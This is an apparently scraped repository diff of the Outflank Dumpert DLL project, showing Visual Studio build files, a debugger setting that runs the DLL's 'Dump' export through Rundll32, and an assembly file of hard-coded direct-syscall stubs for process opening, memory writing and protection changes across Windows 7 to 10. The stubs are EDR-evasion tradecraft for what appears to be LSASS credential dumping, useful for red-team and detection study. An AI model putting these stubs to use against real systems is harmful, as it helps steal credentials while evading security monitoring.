<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{307088B9-2992-4DE7-A57D-9E657B1CE546}</ProjectGuid>
|
||||
<RootNamespace>OutflankDumpertDLL</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v140</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v140</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v140</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v140</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
</ClCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Dumpert.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Dumpert.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Syscalls.asm" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,32 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Dumpert.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Dumpert.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Syscalls.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommand>C:\Windows\System32\Rundll32.exe</LocalDebuggerCommand>
|
||||
<LocalDebuggerCommandArguments>C:\Outflank\Development\Outflank-Dumpert-DLL\x64\Debug\Outflank-Dumpert-DLL.dll,Dump</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
+237
@@ -0,0 +1,237 @@
|
||||
.code
|
||||
|
||||
; Reference: https://j00ru.vexillium.org/syscalls/nt/64/
|
||||
|
||||
; Windows 7 SP1 / Server 2008 R2 specific syscalls
|
||||
|
||||
ZwOpenProcess7SP1 proc
|
||||
mov r10, rcx
|
||||
mov eax, 23h
|
||||
syscall
|
||||
ret
|
||||
ZwOpenProcess7SP1 endp
|
||||
|
||||
ZwClose7SP1 proc
|
||||
mov r10, rcx
|
||||
mov eax, 0Ch
|
||||
syscall
|
||||
ret
|
||||
ZwClose7SP1 endp
|
||||
|
||||
ZwWriteVirtualMemory7SP1 proc
|
||||
mov r10, rcx
|
||||
mov eax, 37h
|
||||
syscall
|
||||
ret
|
||||
ZwWriteVirtualMemory7SP1 endp
|
||||
|
||||
ZwProtectVirtualMemory7SP1 proc
|
||||
mov r10, rcx
|
||||
mov eax, 4Dh
|
||||
syscall
|
||||
ret
|
||||
ZwProtectVirtualMemory7SP1 endp
|
||||
|
||||
ZwQuerySystemInformation7SP1 proc
|
||||
mov r10, rcx
|
||||
mov eax, 33h
|
||||
syscall
|
||||
ret
|
||||
ZwQuerySystemInformation7SP1 endp
|
||||
|
||||
NtAllocateVirtualMemory7SP1 proc
|
||||
mov r10, rcx
|
||||
mov eax, 15h
|
||||
syscall
|
||||
ret
|
||||
NtAllocateVirtualMemory7SP1 endp
|
||||
|
||||
NtFreeVirtualMemory7SP1 proc
|
||||
mov r10, rcx
|
||||
mov eax, 1Bh
|
||||
syscall
|
||||
ret
|
||||
NtFreeVirtualMemory7SP1 endp
|
||||
|
||||
NtCreateFile7SP1 proc
|
||||
mov r10, rcx
|
||||
mov eax, 52h
|
||||
syscall
|
||||
ret
|
||||
NtCreateFile7SP1 endp
|
||||
|
||||
; Windows 8 / Server 2012 specific syscalls
|
||||
|
||||
ZwOpenProcess80 proc
|
||||
mov r10, rcx
|
||||
mov eax, 24h
|
||||
syscall
|
||||
ret
|
||||
ZwOpenProcess80 endp
|
||||
|
||||
ZwClose80 proc
|
||||
mov r10, rcx
|
||||
mov eax, 0Dh
|
||||
syscall
|
||||
ret
|
||||
ZwClose80 endp
|
||||
|
||||
ZwWriteVirtualMemory80 proc
|
||||
mov r10, rcx
|
||||
mov eax, 38h
|
||||
syscall
|
||||
ret
|
||||
ZwWriteVirtualMemory80 endp
|
||||
|
||||
ZwProtectVirtualMemory80 proc
|
||||
mov r10, rcx
|
||||
mov eax, 4Eh
|
||||
syscall
|
||||
ret
|
||||
ZwProtectVirtualMemory80 endp
|
||||
|
||||
ZwQuerySystemInformation80 proc
|
||||
mov r10, rcx
|
||||
mov eax, 34h
|
||||
syscall
|
||||
ret
|
||||
ZwQuerySystemInformation80 endp
|
||||
|
||||
NtAllocateVirtualMemory80 proc
|
||||
mov r10, rcx
|
||||
mov eax, 16h
|
||||
syscall
|
||||
ret
|
||||
NtAllocateVirtualMemory80 endp
|
||||
|
||||
NtFreeVirtualMemory80 proc
|
||||
mov r10, rcx
|
||||
mov eax, 1Ch
|
||||
syscall
|
||||
ret
|
||||
NtFreeVirtualMemory80 endp
|
||||
|
||||
NtCreateFile80 proc
|
||||
mov r10, rcx
|
||||
mov eax, 53h
|
||||
syscall
|
||||
ret
|
||||
NtCreateFile80 endp
|
||||
|
||||
; Windows 8.1 / Server 2012 R2 specific syscalls
|
||||
|
||||
ZwOpenProcess81 proc
|
||||
mov r10, rcx
|
||||
mov eax, 25h
|
||||
syscall
|
||||
ret
|
||||
ZwOpenProcess81 endp
|
||||
|
||||
ZwClose81 proc
|
||||
mov r10, rcx
|
||||
mov eax, 0Eh
|
||||
syscall
|
||||
ret
|
||||
ZwClose81 endp
|
||||
|
||||
ZwWriteVirtualMemory81 proc
|
||||
mov r10, rcx
|
||||
mov eax, 39h
|
||||
syscall
|
||||
ret
|
||||
ZwWriteVirtualMemory81 endp
|
||||
|
||||
ZwProtectVirtualMemory81 proc
|
||||
mov r10, rcx
|
||||
mov eax, 4Fh
|
||||
syscall
|
||||
ret
|
||||
ZwProtectVirtualMemory81 endp
|
||||
|
||||
ZwQuerySystemInformation81 proc
|
||||
mov r10, rcx
|
||||
mov eax, 35h
|
||||
syscall
|
||||
ret
|
||||
ZwQuerySystemInformation81 endp
|
||||
|
||||
NtAllocateVirtualMemory81 proc
|
||||
mov r10, rcx
|
||||
mov eax, 17h
|
||||
syscall
|
||||
ret
|
||||
NtAllocateVirtualMemory81 endp
|
||||
|
||||
NtFreeVirtualMemory81 proc
|
||||
mov r10, rcx
|
||||
mov eax, 1Dh
|
||||
syscall
|
||||
ret
|
||||
NtFreeVirtualMemory81 endp
|
||||
|
||||
NtCreateFile81 proc
|
||||
mov r10, rcx
|
||||
mov eax, 54h
|
||||
syscall
|
||||
ret
|
||||
NtCreateFile81 endp
|
||||
|
||||
; Windows 10 / Server 2016 specific syscalls
|
||||
|
||||
ZwOpenProcess10 proc
|
||||
mov r10, rcx
|
||||
mov eax, 26h
|
||||
syscall
|
||||
ret
|
||||
ZwOpenProcess10 endp
|
||||
|
||||
ZwClose10 proc
|
||||
mov r10, rcx
|
||||
mov eax, 0Fh
|
||||
syscall
|
||||
ret
|
||||
ZwClose10 endp
|
||||
|
||||
ZwWriteVirtualMemory10 proc
|
||||
mov r10, rcx
|
||||
mov eax, 3Ah
|
||||
syscall
|
||||
ret
|
||||
ZwWriteVirtualMemory10 endp
|
||||
|
||||
ZwProtectVirtualMemory10 proc
|
||||
mov r10, rcx
|
||||
mov eax, 50h
|
||||
syscall
|
||||
ret
|
||||
ZwProtectVirtualMemory10 endp
|
||||
|
||||
ZwQuerySystemInformation10 proc
|
||||
mov r10, rcx
|
||||
mov eax, 36h
|
||||
syscall
|
||||
ret
|
||||
ZwQuerySystemInformation10 endp
|
||||
|
||||
NtAllocateVirtualMemory10 proc
|
||||
mov r10, rcx
|
||||
mov eax, 18h
|
||||
syscall
|
||||
ret
|
||||
NtAllocateVirtualMemory10 endp
|
||||
|
||||
NtFreeVirtualMemory10 proc
|
||||
mov r10, rcx
|
||||
mov eax, 1Eh
|
||||
syscall
|
||||
ret
|
||||
NtFreeVirtualMemory10 endp
|
||||
|
||||
NtCreateFile10 proc
|
||||
mov r10, rcx
|
||||
mov eax, 55h
|
||||
syscall
|
||||
ret
|
||||
NtCreateFile10 endp
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user